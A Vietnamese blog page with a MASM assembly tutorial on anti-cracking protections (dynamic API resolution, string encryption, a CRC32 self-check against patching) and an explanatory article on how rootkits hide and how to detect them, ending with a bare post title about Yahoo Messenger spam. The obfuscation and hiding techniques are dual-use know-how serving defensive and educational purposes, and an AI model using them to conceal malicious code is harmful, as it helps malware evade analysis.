Thứ Năm, 11 tháng 3, 2010

Programming Anti-Cracking

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

1/-Anti Set breakpoint on API function:
Một ví dụ để chứng minh việc ko cần import hàm API MessageBox nhưng vẫn sử dụng được hàm API này. Mục đích chính là để tránh các cracker set breakpoint trên hàm API để crack.
Phương pháp đầu tiên tui mới giới thiệu là dùng hàm LoadLibrary và GetProcAddress
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
dwMessageBox dd 0
szUser32 db "USER32.dll",0
szMessageBox db "MessageBoxA",0
szTitle db 'No import func',0
szMessage db 'Show MessageBox but no import it!',0
.code
start:
invoke LoadLibrary,addr szUser32
invoke GetProcAddress,eax,offset szMessageBox
mov dwMessageBox,eax
push MB_OK
lea eax,szTitle
push eax
lea eax,szMessage
push eax
push 0
call dword ptr [dwMessageBox]
invoke ExitProcess,NULL
end start
2/-Anti Search for All referenced text strings:
Các cracker dùng tính năng search for all referenced text strings của debug để tìm addr của chuổi thông báo invalid key (bad boy). Do đó để ko để lộ string, chúng ta phải mã hóa (encrypt) nó trước tiên. Sau đó khi cần dùng string chúng ta decrypt lại string.
Sau đây là func vừa encrypt vừa decrypt chuổi string. Hàm này tui tham khảo trong code yC12 của yoda:
EnDeCryptString proc pAddressString:DWORD
PUSH ESI
PUSH EDI
MOV EAX,pAddressString
MOV ESI,EAX
MOV EDI,EAX
DllCryptLoop:
LODSB
ROR AL,4
STOSB
CMP BYTE PTR [EDI],0
JNZ DllCryptLoop
POP EDI
POP ESI
RET
EnDeCryptString endp
;--------------------------------------------------------------------------------------------------
Đây là tòan bộ code ví dụ. Tui ko giải thích nhiều ở đây. Tui chỉ nói sơ qua về cách tìm chuổi szMessage đã mã hóa như phần khai báo .data trong ví dụ. Tôi đã coding một chương trình encrypt chuổi ‘Show MessageBox but no import it!’. Rồi dùng Olly và plugin DataRipper để copy data chuổi đã mã hóa và past vào ví dụ của chúng ta.
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
EnDeCryptString PROTO :DWORD
.data
dwMessageBox dd 0
szUser32 db "USER32.dll",0
szMessageBox db "MessageBoxA",0
szTitle db 'Cryted String',0
szMessage db 035h, 086h, 0F6h, 077h, 002h, 0D4h, 056h, 037h
db 037h, 016h, 076h, 056h, 024h, 0F6h, 087h, 002h
db 026h, 057h, 047h, 002h, 0E6h, 0F6h, 002h, 096h
db 0D6h, 007h, 0F6h, 027h, 047h, 002h, 096h, 047h
db 012h, 000h
;db 'Show MessageBox but no import it!',0
.code
start:
invoke LoadLibrary,addr szUser32
invoke GetProcAddress,eax,offset szMessageBox
mov dwMessageBox,eax
invoke EnDeCryptString, addr szMessage
push MB_OK
lea eax,szTitle
push eax
lea eax,szMessage
push eax
push 0
call dword ptr [dwMessageBox]
invoke ExitProcess,NULL
EnDeCryptString proc pAddressString:DWORD
PUSH ESI
PUSH EDI
MOV EAX,pAddressString
MOV ESI,EAX
MOV EDI,EAX
DllCryptLoop:
LODSB
ROR AL,4
STOSB
CMP BYTE PTR [EDI],0
JNZ DllCryptLoop
POP EDI
POP ESI
RET
EnDeCryptString endp
end start
Sau khi biên dịch chương trình, chúng ta load vào olly thử xem nó search được badboy ko nhé.
3/-Anti Patching:
Thuở ban đầu khi tôi mới nghiên cứu reversing thì tôi đã đụng đến dạng anti patching này rồi. Kỹ thuật cũ kỹ này chính là dùng thuật tóan CRC để check các bytes tại 1 đọan code nào đó trong code section. Nếu CRC của đọan code đó bằng CRC chuẩn thì coi như đọan code đó ko bị patching. Nếu ko thì chương trình bị cracker patched code. Ta thử thí nghiệm như sau:
Ví dụ đầu tiên ta có một chương trình đơn giản sau:
.386
.model flat, stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
.data
szTitle db 'No import func',0
szMessage db 'Show MessageBox but no import it!',0
.code
start:
push MB_OK
lea eax,szTitle
push eax
lea eax,szMessage
push eax
push 0
lea eax,MessageBox
call eax
invoke ExitProcess,NULL
end start
Nếu ta debugging nó trong Olly thì sẽ như nhận được như sau:
00401000 >/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401002 |. 8D05 00304000 LEA EAX,DWORD PTR DS:[403000] ; |
00401008 |. 50 PUSH EAX ; |Title = NULL
00401009 |. 8D05 0F304000 LEA EAX,DWORD PTR DS:[40300F] ; |
0040100F |. 50 PUSH EAX ; |Text = NULL
00401010 |. 6A 00 PUSH 0 ; |hOwner = NULL
00401012 |. 8D05 28104000 LEA EAX,DWORD PTR DS:[401028] ; |
00401018 |. FFD0 CALL EAX ; \MessageBoxA
0040101A |. 6A 00 PUSH 0 ; /ExitCode = 0
0040101C \. E8 01000000 CALL ; \ExitProcess
Từ addr 00401000 đến addr 0040101A là đọan code thể hiện gọi hàm MessageBoxA. Vậy chúng có chiều dài là 1Ah
Bây giờ ta thử viết một chương trình check xem CRC của đọan code này là bao nhiêu:
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\macros\macros.asm
.data
szTitle db 'No import func',0
szMessage db 'Show MessageBox but no import it!',0
dwCRC dd 0
strBenina db "CRC check",0
strFormat db "%x",0
.data?
strTmp db 20 dup(?)
.code
start:
code_check:
push MB_OK
lea eax,szTitle
push eax
lea eax,szMessage
push eax
push 0
lea eax,MessageBox
call eax
push offset code_check
push 1Ah
call CRC32
mov dwCRC,eax
invoke wsprintf,addr strTmp,addr strFormat,eax
invoke MessageBoxA,NULL,addr strTmp,addr strBenina,MB_OK
mov eax,dwCRC
.if eax==082492b0ah
invoke MessageBoxA,NULL,chr$("Program No Patching"),chr$("Normal"),MB_OK
.elseif
invoke MessageBoxA,NULL,chr$("Program Patched"),chr$("Very Bad"),MB_OK
.endif
invoke ExitProcess,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32 proc lData:DWORD, ptrData:DWORD
push esi
push ecx
push edx
mov esi, ptrData
xor edx, edx
or eax, -1
mov ecx, lData
CRC32_loop:
mov dl, byte ptr [esi]
xor dl, al
shr eax, 8
xor eax, dword ptr [crc32_table + 4*edx]
inc esi
dec ecx
jnz CRC32_loop
not eax
pop edx
pop ecx
pop esi
ret
crc32_table dd 000000000h, 077073096h, 0EE0E612Ch, 0990951BAh, 0076DC419h, 0706AF48Fh, 0E963A535h, 09E6495A3h, 00EDB8832h, 079DCB8A4h
dd 0E0D5E91Eh, 097D2D988h, 009B64C2Bh, 07EB17CBDh, 0E7B82D07h, 090BF1D91h, 01DB71064h, 06AB020F2h, 0F3B97148h, 084BE41DEh
dd 01ADAD47Dh, 06DDDE4EBh, 0F4D4B551h, 083D385C7h, 0136C9856h, 0646BA8C0h, 0FD62F97Ah, 08A65C9ECh, 014015C4Fh, 063066CD9h
dd 0FA0F3D63h, 08D080DF5h, 03B6E20C8h, 04C69105Eh, 0D56041E4h, 0A2677172h, 03C03E4D1h, 04B04D447h, 0D20D85FDh, 0A50AB56Bh
dd 035B5A8FAh, 042B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 032D86CE3h, 045DF5C75h, 0DCD60DCFh, 0ABD13D59h, 026D930ACh, 051DE003Ah
dd 0C8D75180h, 0BFD06116h, 021B4F4B5h, 056B3C423h, 0CFBA9599h, 0B8BDA50Fh, 02802B89Eh, 05F058808h, 0C60CD9B2h, 0B10BE924h
dd 02F6F7C87h, 058684C11h, 0C1611DABh, 0B6662D3Dh, 076DC4190h, 001DB7106h, 098D220BCh, 0EFD5102Ah, 071B18589h, 006B6B51Fh
dd 09FBFE4A5h, 0E8B8D433h, 07807C9A2h, 00F00F934h, 09609A88Eh, 0E10E9818h, 07F6A0DBBh, 0086D3D2Dh, 091646C97h, 0E6635C01h
dd 06B6B51F4h, 01C6C6162h, 0856530D8h, 0F262004Eh, 06C0695EDh, 01B01A57Bh, 08208F4C1h, 0F50FC457h, 065B0D9C6h, 012B7E950h
dd 08BBEB8EAh, 0FCB9887Ch, 062DD1DDFh, 015DA2D49h, 08CD37CF3h, 0FBD44C65h, 04DB26158h, 03AB551CEh, 0A3BC0074h, 0D4BB30E2h
dd 04ADFA541h, 03DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 04369E96Ah, 0346ED9FCh, 0AD678846h, 0DA60B8D0h, 044042D73h, 033031DE5h
dd 0AA0A4C5Fh, 0DD0D7CC9h, 05005713Ch, 0270241AAh, 0BE0B1010h, 0C90C2086h, 05768B525h, 0206F85B3h, 0B966D409h, 0CE61E49Fh
dd 05EDEF90Eh, 029D9C998h, 0B0D09822h, 0C7D7A8B4h, 059B33D17h, 02EB40D81h, 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 09ABFB3B6h
dd 003B6E20Ch, 074B1D29Ah, 0EAD54739h, 09DD277AFh, 004DB2615h, 073DC1683h, 0E3630B12h, 094643B84h, 00D6D6A3Eh, 07A6A5AA8h
dd 0E40ECF0Bh, 09309FF9Dh, 00A00AE27h, 07D079EB1h, 0F00F9344h, 08708A3D2h, 01E01F268h, 06906C2FEh, 0F762575Dh, 0806567CBh
dd 0196C3671h, 06E6B06E7h, 0FED41B76h, 089D32BE0h, 010DA7A5Ah, 067DD4ACCh, 0F9B9DF6Fh, 08EBEEFF9h, 017B7BE43h, 060B08ED5h
dd 0D6D6A3E8h, 0A1D1937Eh, 038D8C2C4h, 04FDFF252h, 0D1BB67F1h, 0A6BC5767h, 03FB506DDh, 048B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch
dd 036034AF6h, 041047A60h, 0DF60EFC3h, 0A867DF55h, 0316E8EEFh, 04669BE79h, 0CB61B38Ch, 0BC66831Ah, 0256FD2A0h, 05268E236h
dd 0CC0C7795h, 0BB0B4703h, 0220216B9h, 05505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 02BB45A92h, 05CB36A04h, 0C2D7FFA7h, 0B5D0CF31h
dd 02CD99E8Bh, 05BDEAE1Dh, 09B64C2B0h, 0EC63F226h, 0756AA39Ch, 0026D930Ah, 09C0906A9h, 0EB0E363Fh, 072076785h, 005005713h
dd 095BF4A82h, 0E2B87A14h, 07BB12BAEh, 00CB61B38h, 092D28E9Bh, 0E5D5BE0Dh, 07CDCEFB7h, 00BDBDF21h, 086D3D2D4h, 0F1D4E242h
dd 068DDB3F8h, 01FDA836Eh, 081BE16CDh, 0F6B9265Bh, 06FB077E1h, 018B74777h, 088085AE6h, 0FF0F6A70h, 066063BCAh, 011010B5Ch
dd 08F659EFFh, 0F862AE69h, 0616BFFD3h, 0166CCF45h, 0A00AE278h, 0D70DD2EEh, 04E048354h, 03903B3C2h, 0A7672661h, 0D06016F7h
dd 04969474Dh, 03E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 040DF0B66h, 037D83BF0h, 0A9BCAE53h, 0DEBB9EC5h, 047B2CF7Fh, 030B5FFE9h
dd 0BDBDF21Ch, 0CABAC28Ah, 053B39330h, 024B4A3A6h, 0BAD03605h, 0CDD70693h, 054DE5729h, 023D967BFh, 0B3667A2Eh, 0C4614AB8h
dd 05D681B02h, 02A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 05A05DF1Bh, 02D02EF8Dh
CRC32 endp
end start
Sau khi biên dịch, ta chạy thử chương trình. Đầu tiên nó chạy đọan code cần check CRC và hiện lên thông điệp:
Sau đó nó sẽ báo CRC của đọan code cần check là :
Vậy CRC chuẩn là 0x10fd82e6. Do lúc đầu ta chưa biết CRC là bao nhiêu nên ta giả sử nó là 082492b0ah :
.if eax==082492b0ah
Vì vậy chương trình mới hiện lên hộp thông điệp:
Bây giờ ta thay đổi chương trình trên tại đọan kiểm tra kết quả CRC, nếu CRC chuẩn tức là bằng 0x10fd82e6 thì báo chương trình ko bị patching, nếu ngược lại thì chương trình đã bị cracker can thiệp. Ta sửa đọan thành :
.if eax==010fd82e6h
Save lại và biên dịch lại. Sau khi biên dịch cho chạy chương trình chúng ta sẽ thấy chương trình thông báo như sau:
Bây giờ thử bật Olly lên và patch Nops dòng code “call eax” trong đọan code đó xem sao, chúng ta sẽ bị “tò tí te” liền.
Thôi hé. Phần này cũng khá dài rồi. Để dành tuts sau chúng ta nghiên cứu thêm . Phải nói là muôn vàng kỹ thuật. Viết hòai ko hết đâu. Đây chỉ là phần dạo đầu làm cho các bạn hứng khởi thôi. Các phần sau sẽ phức tạp hơn đôi chút. Chúc các bạn vui vẽ.

Tìm Hiểu Về Rootkit

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments


1. Định nghĩa:

Rootkit /ru:tkit/ là bộ công cụ phần mềm che giấu sự tồn tại file nhưng thực ra nó vẫn hoạt động. Rootkit thường được bên thứ ba (thường là kẻ xâm nhập) dùng sau khi chiếm được quyền truy cập vào hệ thống máy tính. Các công cụ này thường nhằm để che dấu dữ liệu hệ thống, tập tin hoặc tiến trình đang chạy, từ đó giúp cho kẻ xâm nhập duy trì quyền truy cập vào hệ thống mà người dùng không biết. Rootkit có ở nhiều loại hệ điều hành như Linux, Solaris và các phiên bản Microsoft Windows. Một máy tính bị cài rootkit được gọi là bị "chiếm quyền root" ("rooted" trong tiếng Anh).

Thuật ngữ "rootkit" (còn được viết là "root kit") lúc đầu được dùng để chỉ một bộ công cụ Unix được biên dịch lại như "ps", "netstat", "w" and "passwd" có thể che dấu kĩ lưỡng vết tích của kẻ xâm nhập mà bình thường sẽ bị hiển thị bởi các lệnh trên, vì vậy nó cho phép kẻ xâm nhập duy trì quyền "root" ("siêu người dùng") trên hệ thống mà ngay cả người quản trị hệ thống cũng không thể thấy họ.

Ngày nay thuật ngữ này không chỉ giới hạn ở các hệ điều hành dựa trên Unix mà còn được dùng để chỉ các công cụ thực hiện tác vụ tương tự trên hệ điều hành không Unix như Microsoft Windows (ngay cả khi hệ điều hành đó không có tài khoản "root").

Từ "rootkit" trở nên phổ biến khi có cuộc tranh luận về chống sao chép CD Sony 2005, trong đó các đĩa CD nhạc của Sony BMG cài một toolkit vào các PC chạy Microsoft Windows.

2. Sự nguy hiểm của Rootkit


Đặc điểm của rootkit là có khả năng ẩn các tiến trình, file và cả dữ liệu trong registry (với Windows), nếu dùng những công cụ của hệ điều hành như: "Registry Editor", "Task Manager", "Find Files" thì không thể phát hiện, có khả năng ghi lại các thông số về kết nối mạng và các kết nối mạng được tạo ra bởi các chương trình sử dụng Rootkit sẽ hoàn toàn vô hình trước câu lệnh Netstat. Thực sự bản thân Rootkit không có gì nguy hại tuy nhiên, khi Rootkit được sử dụng để giấu các đoạn mã hiểm độc thì rất nguy hiểm. Một số các worm, virus, trojan và spyware có khả năng duy trì hoạt động và không bị phát hiện khi sử dụng Rootkit. Các malware sẽ không bị phát hiện thậm chí khi hệ thống được bảo vệ bởi các chương trình chống virus tốt nhất. Do đó, Rootkit thực sự là mối đe dọa rất nghiêm trọng.

Khi hay tin CD nhạc của Sony cài đặt rookit để giấu file chống sao chép xuất hiện, giới tin tặc nhanh chóng khai thác ứng dụng của Sony. Phần mềm của Sony giấu bất kỳ file hay tiến trình bắt đầu với "$sys$", những kẻ viết phần mềm độc hại đã đổi tên file để lợi dụng đặc điểm này .

Nhà sản xuất phần mềm chống virus ở Tây Ban Nha là Panda Software cho biết họ đang tìm biến thể của sâu Bagle cực kỳ độc hại có trang bị khả năng của rootkit. Trầm trọng hơn, những kẻ tạo phần mềm rootkit còn bán hoặc phát tán miễn phí các công cụ, giúp những kẻ viết phần mềm độc hại dễ dàng bổ sung chức năng rootkit cho các virus cũ như Bagle hay tạo loại mới.

Thậm chí khi sử dụng những rootkit có sẵn, tin tặc cũng có thể tạo những biến thể mới. Ví dụ, công ty phần mềm bảo mật eEye phát hiện rootkit cho phép ẩn các file trong boot sector của đĩa cứng. Rootkit có thể giấu mã chương trình phá hoại trong BIOS của PC bằng cách dùng các chức năng cấu hình trong Advanced Configuration và tính năng Power Interface.

Một dự án do Microsoft và các nhà nghiên cứu của đại học Michigan thực hiện thật sự mở đường cho nghiên cứu rootkit, tạo ra một phương thức mới gần như "đặt" HĐH chạy trên phần mềm có tên SubVirt (tên của dự án nghiên cứu). HĐH vẫn làm việc bình thường, nhưng "máy ảo" điều khiển mọi thứ HĐH nhìn thấy và có thể dễ dàng giấu chính nó. Kỹ thuật này không dễ thực hiện và người dùng dễ nhận ra vì làm chậm hệ thống và làm thay đổi những file nhất định. Joanna Rutkowska - một chuyên gia nghiên cứu công nghệ "ẩn mình" phần mềm độc hại tại hãng bảo mật COSEINC có trụ sở tại Singapore tiếp tục phát triển thêm kĩ thuật này. Công nghệ mới Blue Pill sử dụng công nghệ ảo hoá SVM/Pacifica của AMD có thể giúp tạo ra một phần mềm cực nhỏ nhưng có khả năng kiểm soát toàn bộ hệ điều hành và không thể bị phát hiện. "Ý tưởng của Blue Pill là rất đơn giản: Hệ điều hành của bạn nuốt một Blue Pill và nó sẽ hoạt động trong một Matrix (ma trận) được điều khiển bằng một Blue Pill Hypervisor cực nhỏ. Điều này xảy ra trực tiếp khi hệ điều hành đang vận hành, không gây ảnh hưởng đến các thiết bị khác." . Blue Pill không hề dựa trên bất kỳ lỗi nào tồn tại trong hệ điều hành mà nó dựa vào một giải pháp động "generic method" để chèn một số mã nhị phân vào trong nhân Vista Beta 2 (x64 edition) mà không sinh ra bất kỳ một lỗi nào. Tuy nhiên, chuyên gia này cũng khẳng định Blue Pill có thể bị phát hiện nếu công nghệ Pacifica của AMD mắc lỗi.

Một điều chắc chắn là rootkit vẫn là kĩ thuật còn đang phát triển. Bản báo cáo mới nhất của McAfee cho biết tính phức tạp của các rootkit đang phát triển ở một tốc độ dị thường. Chỉ trong 5 năm số lượng bộ phận cấu thành rootkit đã tăng từ 27 lên tới 2.400. Và trong thời gian sắp tới sẽ còn tăng lên đáng kể. Khó ai có thể dự đoán được sự nguy hiểm tiềm tàng của rootkit trong tương lai.

3. Phân loại và phương thức hoạt động của Rootkit

Có nhiều tiêu chí phân loại Rootkit. Trong bài này chúng ta sẽ phân loại Rootkit theo 2 tiêu chí

- Phân loại theo thời gian tồn tại: chia làm hai loại

Rootkit bám dai (Persistent Rootkits)
Persistent root kit là một loại rootkit kết hợp với các malware khác hoạt động mỗi khi hệ thống khởi động. Bởi vì các malware chứa mã phá hoại sẽ được thực thi tự động mỗi khi hệ thống khởi động hoặc khi người sử dụng đăng nhập vào hệ thống. Chúng cần phải lưu trữ các đoạn mã thực thi chương trình trong Registry, các tập tin hệ thống và các phương pháp cho phép âm thầm chạy các đoạn mã mà người sử dụng không hay biết

Rootkit trên bộ nhớ (Memory-Based Rootkits )
Loại rootkit này chính là các malware không có những đoạn mã "dai dẳng" - chỉ lưu trong bộ nhớ, chính vì thế loại rootkit này không tồn tại sau khi khởi động lại máy.

- Phân loại dựa trên mức độ xâm nhập hệ thống: chia làm hai loại

Rootkit chế độ người dùng (User-mode Rootkits)
Những rootkit này sẽ sửa (chỉnh) những process đang chạy trong bộ nhớ và qua đó nhận được những thông tin cần thiết.

Rootkit ở chế độ người dùng sử dụng nhiều phương pháp khác nhau để lẩn trốn không bị phát hiện. Ví dụ: rootkit ở chế độ người dùng sẽ chặn tất cả các hàm gọi hệ thống API (Application Programming Interface - Giao tiếp lập trình ứng dụng - cung cấp giao tiếp (interface) giữa chế độ người dùng và dịch vụ hệ thống) như: FindFirstFile/FindNextFile hay như để Task Manager của Windows có thể hiện ra danh sách các tiến trình đang chạy, nó sẽ gọi một hàm Windows API (EnumProcesses) và nhận về danh sách các ID tiến trình được lấy từ một cấu trúc dữ liệu của kernel. Những hàm này còn được gọi bởi các chương trình quản lý tập tin của Windows như Explorer để liệt kê toàn bộ các thư mục tập tin hệ thống. Khi một ứng dụng thực thi liệt kê danh sách thư mục và các tập tin có thể chứa rootkit, các rootkit này sẽ chặn các hàm này và thay đổi các kết quả dữ liệu đầu ra nhằm loại bỏ các tập tin chứa rootkit khỏi danh sách liệt kê.

Những rootkit ở chế độ người dùng phức tạp hơn sẽ chặn các tập tin hệ thống, Registry, và các hàm liệt kê các tiến trình (process) từ các hàm API hệ thống. Các kết nối mạng có thể được giấu bằng những phương pháp tương tự nhau bằng cách thay đổi kết quả của những lời gọi hàm tương ứng. Vì hầu hết các trình diệt virus và chống phần mềm gián điệp đều dựa vào những lời gọi hàm này (như lời gọi hàm tìm kiếm file để quét), khi đó những file được các rootkit che giấu sẽ trở nên vô hình với những trình diệt virus này. Máy tính có thể bị vẫn lây nhiễm nhưng trình diệt virus lại không thể phát hiện ra.

Rootkit chế độ nhân (Kernel-mode Rootkits)
Rootkit chế độ nhân nguy hiểm hơn các loại trên, chúng không chỉ chặn các hàm API hệ thống mà còn có thể thao tác trực tiếp các cấu trúc dữ liệu trong chế độ nhân. Các rootkit chế độ kernel thì cần phải có thêm một số đoạn mã để có thể được nạp vào kernel (thường là một trình điều khiển thiết bị hoặc một file .sys). Để đạt được mục đích này, chúng có thể theo trình tự hợp lệ mà các trình điều khiển thiết bị mức thấp vẫn dùng (thông qua trình quản lý điều khiển dịch vụ services.exe). Ngoài ra cũng còn một số phương pháp bất thành văn khác để chèn mã vào kernel. Một khi đã vào được trong HĐH, đoạn mã có thể chỉnh sửa các kết quả trả về từ lời gọi hàm bên trong lõi hoặc chỉnh sửa chính các cấu trúc lõi HĐH. Một kĩ thuật chung cho việc ẩn nấp các tiến trình malware là loại bỏ các tiến trình này ra khỏi danh sách các tiến trình ở chế độ nhân. Bởi vì các hàm API quản lý các tiến trình đều phải phụ thuộc vào nội dung trong các cấu trúc dữ liệu này, nên khi rootkit thay đổi nội dung cấu trúc dữ liệu hệ thống thì các công cụ như Task Manager hoặc Process Explorer cũng không thể phát hiện được.

Một ví dụ: Rootkits copy một bản sao của chúng với tên malware.exe và spy.dll cũng như một phần của chúng vào một thư mục. Sau đó chúng sẽ sửa (chỉnh) lại kernel để những thành phần chúng vừa copy không bị phát hiện nữa (cả với windows-explorer lẫn một chương trình filemanager bất kỳ. Chúng hoàn toàn “tàng hình” và dưới cái lốt đó chúng có thể làm bất cứ một điều gì đó có hại đến hệ thống của bạn.

4. Làm thế nào để Rootkit đột nhập vào hệ thống?
Như đã nói là Rookits có nhiệm vụ chính là che dấu những chương trình phá hoại. Chúng không có những đoạn code đặc biệt để có thể tự nhân bản và phát tán. Thực sự thì Rootkit phát tán cùng với những chương trình phá hoại có kèm theo nó (thông qua những lỗ hổng hệ thống của windows và những chương trình sử dụng). Kỹ thuật được sử dụng nhiều nhất trước kia là qua đường thư điện tử. Tuy nhiên hiện nay thì rất nhiều kĩ thuật tinh vi được hacker sử dụng để phán tán.
Một phần lớn những rootkits được bán trên mạng dưới dạng mã nguồn. Phần lớn những chương trình spyware đều sử dụng phương thức hoạt động của Rootkit. Qua đó, những spyware này sẽ hoạt động trên máy của người sử dụng mà không bị phát hiện và cuối cùng là chúng có thể kiếm được tiền nhờ những thông tin thu thập được trên máy người sử dụng.
Bằng kỹ thuật của Rootkit, có rất nhiều trojan đã được phát tán. Những trojan này biến máy bạn thành một bộ máy có thể điều khiển từ xa và người điều khiển chúng có thể dùng máy bạn để phát tán Spam hoặc lạm dụng máy bạn để làm những chuyện khác.

5. Làm thế nào để phát hiện ra Rootkit
Có hai cách chính để phát hiện một rootkit trên máy bị nhiễm: quét và theo dõi các sự kiện. Kĩ thuật quét sử dụng phương pháp so sánh cách nhìn của hệ thống sử dụng các công cụ mức người dùng với cách nhìn từ bên trong lõi HĐH. Nếu có dấu hiệu che giấu nào, thành phần đó phải hiện lên bên trong lõi chứ không phải ở màn hình người dùng. Gần đây đã có khá nhiều chương trình có thể đảm nhiệm chức năng quét này.

Về mặt lý thuyết thì phương pháp này là rất tốt – rootkit giấu các tài nguyên hệ thống, vậy cách tốt nhất để phát hiện rootkit là tìm kiếm những gì bị che giấu. Tuy nhiên vẫn có một vài nhược điểm. Nhược điểm đầu tiên là nếu bản thân HĐH đã có lỗi thì việc quét cũng có thể bị chính rootkit qua mặt. Khả năng xảy ra nguy cơ này phụ thuộc vào cụ thể quá trình quét và bản thân rootkit được thực thi như thế nào. Thường thì lõi HĐH Windows không được mô tả công khai cho nên rất khó đảm bảo tiến trình quét đạt kết quả chính xác. Hơn nữa, rootkit có thể tránh bị phát hiện bằng cách che giấu tất cả các tiến trình ngoại trừ chính tiến trình phát hiện rootkit.

Một cách khác là sử dụng một hệ thống hoạt động dựa trên các sự kiện liên tục theo dõi để có thể nắm được rootkit vào thời điểm nó tiến hành tác vụ cài đặt. Những chương trình như thế thường được gọi là hệ thống chống xâm nhập (IPS). Việc theo dõi từ phía HĐH là rất cần thiết. Các hệ thống IPS theo dõi ở mức người dùng thực ra cũng vẫn có thể bị rootkit tấn công như chính những chương trình khác của người dùng.

Những hệ thống này có thể phát hiện và khóa những tác vụ nạp các module của HĐH. Tuy nhiên việc khóa hết các module lại là một điều phi thực tế - nhiều chương trình hợp lệ khác cũng sẽ tiến hành cài đặt các module lõi. Ví dụ, một số trình diệt virus sử dụng các module lõi để thực hiện tác vụ quét theo yêu cầu.

Vẫn có thể đưa ra một giải pháp hay hơn là tính thêm khả năng cân nhắc liệu việc nạp một module có phải là xấu hay không bằng cách xem xét các thuộc tính khác của bộ cài đặt cùng những chương trình liên quan. Trong khi một rootkit và một trình duyệt virus có thể có chung một số tác vụ (như cài đặt một module lõi) thì phần lớn những đặc tính khác của chúng lại hoàn toàn không giống nhau.

Ví dụ, một rootkit có thể cố gắng “lánh mặt” bằng cách không tạo ra cửa sổ trực quan, trong khi một trình diệt virus lại muốn cho người dùng biết sự hiện diện của chương trình. Trình rootkit cũng có thể cài một keylogger (bắt bàn phím và gửi thông tin tới một người dùng khác) còn một chương trình diệt virus thì hoàn toàn không làm thế. Bằng cách tổng hợp các đặc tính hành động khác nhau (được lựa chọn cẩn thận để có thể bắt được những thao tác chung liên quan tới phần mềm mục đích xấu), việc phát hiện những chương trình rootkit là hoàn toàn có thể thực hiện được với độ tin tưởng cao. Thực tế, phương pháp này có tên “đánh giá qua hành động” và có thể được áp dụng rộng rãi để phát hiện những lớp mã mục đích xấu như Trojan hay phần mềm gián điệp.

Vì dựa trên nguyên lý đánh giá, tích lũy kinh nghiệm, hệ thống kiểu này có thể vẫn mắc lỗi (coi những chương trình bình thường là phần mềm xấu). Cách giải quyết đơn giản với vấn đề này là cần phải có danh sách cấm cho những lỗi chung thường gặp.


Xin giới thiệu các chương trình phát hiện rootkit sử dụng các kĩ thuật đặc biệt để tóm những kẻ xâm nhập nguy hiểm này.

Hầu hết các chương trình dùng phát hiện rootkit đòi hỏi người dùng có biết chút ít về kĩ thuật. Tuy nhiên, có hai chương trình dễ sử dụng nhất cũng là hai chương trình hiệu quả nhất.

- Chương trình đầu tiên là Panda Anti-Rootkit tải về tại http://www.pandasoftware.com/products/antirootkit/.

Đây là chương trình miễn phí, tương thích Windows 2K, XP, có dung lượng 353KB. Panda Anti-Rootkit là phần mềm dành cho người dùng thông thường, không chỉ có khả năng phát hiện mà còn giúp loại bỏ rootkit khá hiệu quả.

Panda Anti-Rootkit có dung lượng nhỏ, không cần cài đặt mặc dầu bạn phải đăng ký tại website của Panda trước khi tải xuống. Chúng tôi đề nghị bạn nên tải về sản phẩm này và tiến hành thao tác quét máy tính.

Nếu không tải được từ website Panda, bạn có thể sử dụng đường link sau http://www.majorgeeks.com/Panda_Anti-Rootkit_d5457.html

- Chương trình thứ hai mà chúng tôi đề nghị bạn nên sử dụng là BlackLight http://www.f-secure.com/blacklight/. Panda Anti-Rootkit và BlackLight có khả năng phát hiện hầu hết các rootkit mà các chương trình chống virus bỏ qua. Tuy nhiên cả hai đều không phải là chương trình thực sự hoàn hảo nên tốt nhất là bạn nên dùng cả hai chương trình.

- Nếu bạn là người sử dụng máy tính có kinh nghiệm, bạn nên thử dùng RootkitRevealer của SysInternals tải về tại http://www.microsoft.com/technet/sys...tRevealer.mspx. Phần mềm này có dung lượng 231KB, là bản shareware (dùng chung), chạy trên tất cả các phiên bản Windows. Chương trình này sử dụng kĩ thuật khác hoàn toàn với Panda Anti-Rootkit và BlackLight, vì thế bạn nên sử dụng cả 3 chương trình để có năng lực tối đa trong việc tìm diệt rootkit trên máy tính.

- Người dùng kinh nghiệm cũng nên dùng GMER (http://www.gmer.net/, miễn phí, chạy trên Windows NT/ 2K/XP/Vista, dung lượng 450KB. Bạn nên đọc tài liệu hướng dẫn kĩ càng trước khi sử dụng. Sản phẩm này rất tốt nhưng không phải dành cho tất cả mọi người. Do đó, nếu bạn là người khoái nhấn nút "scan" thì nên dùng Panda Anti-Rootkit hoặc BlackLight )

- Hiện nay hai trong số những phần mềm mạnh mẽ nhất trong cuộc chiến phát hiện rootkit là các sản phẩm có nguồn gốc Trung Quốc IceSword (http://majorgeeks.com/Icesword_d5199.html, miễn phí, tương thích Windows NT/2K/XP, dung lượng 2.1MB) và DarkSpy (http://www.softpedia.com/get/Antivir...-Rootkit.shtml, miễn phí, chạy trên Windows 2K/XP/2003, dung lượng 626KB). Các chương trình này có công cụ giúp "điểm mặt" rootkit.

Phương Thức Spam Và Phát Tán Virus Trong Yahoo Messenger

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

